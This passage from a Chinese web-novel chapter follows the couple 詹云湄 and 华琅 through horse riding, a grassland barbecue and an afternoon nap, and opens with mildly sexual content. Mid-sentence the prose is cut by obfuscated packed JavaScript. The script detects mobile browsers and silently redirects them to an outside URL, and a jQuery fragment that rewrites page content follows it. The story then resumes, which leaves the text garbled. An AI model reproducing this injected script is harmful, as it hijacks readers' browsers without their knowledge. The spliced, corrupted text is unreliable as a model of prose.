提起某些人,华琅就恼火,虽然被按着趴着,其实心里并不服气,不停冷哼出声。
“讨厌死你了,”一边这样骂着,一边也不肯再给詹云湄一个眼神。
詹云湄握着华琅纤细的腰肢,手指在里面用劲儿戳了下,那后来的几句讨厌就变腔了。
她不用劲儿了,华琅要骂,用劲儿了,更是要骂,他今天晚上无论如何都是看不惯她的,骂骂咧咧个不停。
骂到最后没力气了,也就乖了,闷在镜子前面低头咬唇。
……
华琅不喜人多,他喜欢安静,只喜欢和詹云湄待在一起,于是这第二天他们并没有和众人在一起。
大家在球场时,詹云湄就带着华琅骑马去。
庄园一千多亩,光是马场就占了将近四百亩,詹云湄挑了一匹比较高大的纯黑马。
华琅没有骑过马,不仅是以前没那个条件骑马,而且认为马是个很不受控的东西,骑马还坐不稳,很容易被翻下地。
从前是一律敬而远之的。
“试试吧,在草原骑马感觉还是不一样的,”詹云湄牵着马走在前方。
她会骑马,就没有让工作人员陪同。
华琅小心跟在马侧,这马的确是又高又大,走起路来都铿锵带劲儿,他往前迈了几步,跟在詹云湄身边。
这时就能看见她的着装,一身很正的英伦马术服,黑马甲白衬衫,她本来就人高,卡其色的紧身马裤、即将过膝黑漆长靴,更是勾勒出一双健美有力的长腿,更加意气风发。
忽然之间,那双温沉的双眸转了过来,华琅立马垂下眼。
“来,拉着马,轻轻拉着就行,我系个头盔卡带,”詹云湄将缰绳递出。
华琅不敢牵,万一用力不对,把马弄惊了怎么办?
詹云湄似乎是看出他的顾虑,微微一笑,自信道:“不怕,有我在。”
那背后灿阳照过来,照得人心间温暖,华琅原本还是害怕的,却不知怎么的,鬼使神差就将缰绳攥在手。
大概是他知道她可以信任,知道她有那样强大的镇定力吧。
詹云湄没有想展示自己的意思,等把黑马拉进栅栏,她就朝华琅抬眉,“要不要坐上去玩玩?”
华琅连连摇头,“算了……”
他是真的没有一丝想法,马背上实在令人感觉危险,而且没有安全感。
再说了,他从来没有骑过马,就算詹云湄在前面拉着,多半也要出糗,他不愿意让她看见他狼狈的样子——虽然她经常能看见他狼狈的样子。
“真不想骑?我拉着,保证你不会摔,”詹云湄扬了扬手里的缰绳,黑马很配合地乖顺垂下头。
华琅有些纠结,主要是不想辜负詹云湄的期待。
犹豫再三,他正要点头,詹云湄却忽然收起绳子,不等他思考了。
詹云湄翻身上马,没有丝毫顾虑,华琅哼了声,他在这儿还是影响她了吧!
她勾起唇畔,勒鞭扬马前蹄,黑马得到指令,肆意奔起来,逐渐加快速度,四肢越来越舒展,马颈与马背的黑色鬃毛随风扬飘,形成一道优美的流动线条。
路过指示栅栏,黑马轻跃转弯,最后在回到栅栏口时,詹云湄勒绳,黑马便得令降速,最终慢慢走路。
华琅看着她纵意的模样,不知不觉地跟着她一起笑,直到她勒着马停在他面前。
“哼,”华琅嘴巴上哼着,心里却是很畅意的。
“哼什么?”詹云湄笑了笑,勒紧缰绳,坐在马上,弯腰到华琅面前,亲了亲他的唇角。
马场就一个,大家都在这里骑,尽管刚开业人不多,但好歹还是有个七八个人,她就这么直挺挺地亲,亲得华琅脸红心跳。
他目瞪口呆半天,也只是用很小的声音骂她:“流氓!”
詹云湄畅快笑出声,蹬踏下马,腿长就是有优势,一蹬就下来了,稳稳落地,她揣起手轻轻靠在马边,“上去坐着,我拉你走两圈,看看风景。”
马背上的草原和步行看见的草原可不一样,马背上的草原变得很矮,仿佛置身于草原之顶,纵览整片绿原。
在高处,心境也变得宽阔无垠,所有烦恼在骑于高大马背之上时,尽数忘却。
华琅仍旧是嘴巴不说,身体不动,但是眨巴眨巴的眼睛就表达出来了。
詹云湄不多和他计较,牵稳了马,让他蹬上。
她取了头盔,拎在手上,另一只手稳稳牵着黑马。
这样烈的一匹大马,在她手中也乖顺臣服,从不挣扎乱动,她牵的方向,也从不抗拒
黑马走得很稳,她牵引的速度很合适,华琅渐渐的就不再紧张了,死死拉住的手也缓缓放松。
他直起背,眺望这片无垠绿原,阳光正好,晒得人浑身舒服。
詹云湄嗅了嗅清新的空气,问华琅:“今天中午想吃什么?烤肉,烤全羊,或者炖牛肉?”
草原上的牛羊吃起来和平时买到的不太一样,不过……
“不要,”华琅哼声,“羊膻牛腥。”
他很嘴挑。
以前过得也就一般般,但还是改不了他嘴挑的毛病,宁可饿着,也不吃他不喜欢的食物。
“烤猪排怎么样,这个总不膻不腥了吧?”詹云湄不介意他嘴挑,甚至觉得没什么。
华琅说:“都行。”
都行那就是可以,詹云湄喊了管家,让管家在草原安排午餐。
“哇,香香的,”梁昭宁不喜欢打高尔夫,早早地跑到草原坝上来蹲守午餐。
詹云湄捞了捞袖子,夹过猪排翻面,撒上孜然粉,她负责煎烤,华琅就负责给她打下手。
“再等会儿就能吃了,”她被烟气熏得有点睁不开,但仍旧笑得愉悦。
“嗳,好嘞!我去倒饮料,”梁昭宁屁颠颠跑到帐篷里面去抱饮料瓶。
烟气太大,华琅怕熏着詹云湄,赶紧在她身边疯狂摇扇,试图扇走那些油烟。
突然间,华琅凑过来,差不多即将嘴唇贴詹云湄的脸颊了,她瞥他眼,“怎么?”
“我帮你把头发扎起来吧,”华琅弯弯唇,显出一种无辜纯良的微笑。
詹云湄盯着他看了会儿,直勾勾的眼神,看得他后背发麻,快把他盯出汗来了,她才笑笑:“好啊,扎吧。”
把头发侧给他。
很少给她扎头发,大多时候是她在照顾他,他顶多会给她吹吹头发,扎头发是很少的。
但华琅比较手巧,而且扎个低马尾的事,也不难。
很快,就给詹云湄扎好头发,没有扯到一根发丝,甚至扎起头发来很舒服。
詹云湄奖励着亲了亲华琅的眼尾,毫不吝啬地夸赞:“好乖。”
夸赞脱口的瞬间,秾郁的红晕漫上华琅的脸颊,他轻轻勾唇,因被夸而雀跃。
詹云湄便继续煎烤猪排。
就在这时,华琅抬起头,看向不远处的栅栏口,大家都打完球了,说说笑笑向草原坝走来。
走在首位的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296707|198567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便是梁戎,他年纪小,视力好,把刚才的画面全部清晰收进眼里,气得要跳起来。
但是他又不能跳起来,詹云湄喜欢那人,他难道还去当面和人家扯头花吗?
他才不是那么幼稚的人呢。
见梁戎生气,华琅翘起嘴角,在詹云湄看过来的瞬间,又立刻垂下嘴角。
午餐后,下午大家去马场,詹云湄带华琅去高尔夫球场,和一行人错开了行程。
两个人对于高尔夫球都无甚兴致,于是随便打了两杆,就回别墅去休息了。
早上跑马,中午烤肉,詹云湄身上又是草味马味,又是油烟佐料味,赶紧洗了个澡。
等华琅也把自己洗干净,一看时间两点多,正是睡午觉的好时候,詹云湄就把华琅抱着午睡。
三点整,有电话打进来,詹云湄按下静音,怀里小猫睡得正酣,她就没吵醒他,放轻动静。
是徐令江的电话,詹云湄已经不打算接了,梁汝贞都给了方案,她还有什么可说的。
于是划掉了电话,给徐令江发了条短信,就又放下手机。
詹云湄重新揽回华琅,把下巴轻轻搭在他头顶,她没睡意了,只是陪着他而已。
前段时间网上有个说法,低精力人群不适合和高精力人群在一起,在一起简直是折磨人。
詹云湄反而不这么觉得,她认为自己应该是属于高精力的一类,华琅么,那就不必说了。
她不同意网上的说法,她觉得他俩挺般配的。
他觉不觉得不重要,也没用,她觉得合适就行了。
这思考期间,华琅恍恍着醒了,咕涌了几下,他埋在詹云湄胸里有些闷,又舍不得出来,下场就是缺氧,头脑昏涨,神志不清。
“躺好,”詹云湄薅着华琅后发,把他薅出来,他哼哼唧唧不乐意,但也没怎么动了。
她垂下头,吻他唇瓣,他人不怎么清醒,倒是下意识的张开嘴,伸出舌尖来勾她。
只亲了一会儿,詹云湄就放开了华琅,他完全没醒,再亲就要把人亲醒了,他晚上没有休息好,早上起得还早,还是让他多休息会儿的好。
又过了十几分钟,华琅枕头边的手机忽然亮屏,是一个消息弹窗,詹云湄并没有看他手机的兴趣,也就没管,不过对面一直发消息,她就有些好奇。
正伸手去拿,想看看是谁,是不是有急事,华琅却被她动作弄醒,不知道是做梦了还是怎样,醒来就揪她领子,骂道:“你怎么总是对那个小三这么好!”
他看她拿着手机,又变得很委屈,“不要理他了好不好……”
一系列操作完了,他估计还觉得自己在做梦,闭上眼睛又开始撒娇,“你不是说喜欢我吗?”
眼尾湿湿红红,要哭不哭的。
詹云湄承认,华琅很会勾引她,她压低声音温缓着说:“是啊,我喜欢华琅,那华琅喜欢我吗?”
没有立即得到回答,华琅蹙起了眉,想了半天,迷迷糊糊说了什么,她没听清,把耳朵贴过去,才依稀听见他说,“喜欢。”
她默默举起华琅的手机,点开相机录制视频,“你再说一遍,喜欢谁?”
伸手拍打华琅的脸,把人打醒了,微蹙的眉变成深拧的眉,他不耐烦,但还是重复了一遍,“詹云湄。”
她又拍他,催促:“喜欢谁?说清楚。”
华琅眯懵着眼,他觉得眼前这人简直有毛病,但又觉得她拍得他很舒服,也就半推半拒地说了,“喜欢……詹云湄。”